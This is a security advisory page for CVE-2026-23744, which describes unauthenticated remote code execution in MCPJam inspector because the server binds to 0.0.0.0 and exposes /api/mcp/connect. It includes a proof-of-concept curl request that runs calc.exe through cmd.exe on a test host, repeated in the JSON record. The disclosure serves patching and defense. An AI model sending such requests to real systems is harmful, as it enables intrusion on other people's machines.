GHSA-232V-J27C-5PP6
Vulnerability from github – Published: 2026-01-16 21:15 – Updated: 2026-01-16 21:57Summary
MCPJam inspector is the local-first development platform for MCP servers. The Latest version Versions 1.4.2 and earlier are vulnerable to remote code execution (RCE) vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE.
This vulnerability is similar to CVE-2025-49596, but more severe. While CVE-2025-49596 requires tricking a user into clicking a malicious link, this vulnerability is exploitable with no user interaction. Since MCPJam inspector by default listens on 0.0.0.0 instead of 127.0.0.1, an attacker can trigger the RCE remotely via a simple HTTP request.
Details
MCPJam inspector binds to 0.0.0.0 making its HTTP APIs remotely reachable.
const server = serve({
fetch: app.fetch,
port: SERVER_PORT,
hostname: "0.0.0.0",
});
The /api/mcp/connect API, which is intended for connecting to MCP servers, becomes an open entry point for unauthorized requests. When an HTTP request reaches the /connect route, the system extracts the command and args fields without performing any security checks, leading to the execution of arbitrary command.
PoC
(1) Start up the MCPJam inspector as Github README
npx @mcpjam/inspector@latest
(2) RCE by posting a HTTP request
A remote code execution (RCE) attack can be triggered by sending a simple HTTP request to the target host running MCPJam inspector (e.g., http://10.97.58.83:6274 in the test environment).
curl http://10.97.58.83:6274/api/mcp/connect --header "Content-Type: application/json" --data "{\"serverConfig\":{\"command\":\"cmd.exe\",\"args\":[\"/c\", \"calc\"],\"env\":{}},\"serverId\":\"mytest\"}"
Impact
Remote Code Execution (RCE)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.4.2"
},
"package": {
"ecosystem": "npm",
"name": "@mcpjam/inspector"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-23744"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-16T21:15:35Z",
"nvd_published_at": "2026-01-16T20:15:51Z",
"severity": "CRITICAL"
},
"details": "### Summary\nMCPJam inspector is the local-first development platform for MCP servers. The Latest version Versions 1.4.2 and earlier are vulnerable to remote code execution (RCE) vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE.\n\nThis vulnerability is similar to CVE-2025-49596, but more severe. While CVE-2025-49596 requires tricking a user into clicking a malicious link, this vulnerability is exploitable with no user interaction. Since MCPJam inspector by default listens on 0.0.0.0 instead of 127.0.0.1, an attacker can trigger the RCE remotely via a simple HTTP request.\n\n\n\n### Details\nMCPJam inspector binds to `0.0.0.0` making its HTTP APIs remotely reachable.\n``` TypeScript\nconst server = serve({\n fetch: app.fetch,\n port: SERVER_PORT,\n hostname: \"0.0.0.0\",\n});\n```\n\nThe `/api/mcp/connect` API, which is intended for connecting to MCP servers, becomes an open entry point for unauthorized requests. When an HTTP request reaches the `/connect` route, the system extracts the `command` and `args` fields without performing any security checks, leading to the execution of arbitrary command.\n\n### PoC\n(1) Start up the MCPJam inspector as Github README\n`npx @mcpjam/inspector@latest`\n\n(2) RCE by posting a HTTP request\nA remote code execution (RCE) attack can be triggered by sending a simple HTTP request to the target host running MCPJam inspector (e.g., http://10.97.58.83:6274 in the test environment).\n`curl http://10.97.58.83:6274/api/mcp/connect --header \"Content-Type: application/json\" --data \"{\\\"serverConfig\\\":{\\\"command\\\":\\\"cmd.exe\\\",\\\"args\\\":[\\\"/c\\\", \\\"calc\\\"],\\\"env\\\":{}},\\\"serverId\\\":\\\"mytest\\\"}\"`\n\n\n\u003cimg width=\"1669\" height=\"1397\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cb6505f1-3cdd-4c64-8f39-a01619a63411\" /\u003e\n\n\n### Impact\nRemote Code Execution (RCE)",
"id": "GHSA-232v-j27c-5pp6",
"modified": "2026-01-16T21:57:08Z",
"published": "2026-01-16T21:15:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23744"
},
{
"type": "WEB",
"url": "https://github.com/MCPJam/inspector/commit/e6b9cf9d9e6c9cbec31493b1bdca3a1255fe3e7a"
},
{
"type": "PACKAGE",
"url": "https://github.com/MCPJam/inspector"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "REC in MCPJam inspector due to HTTP Endpoint exposes"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.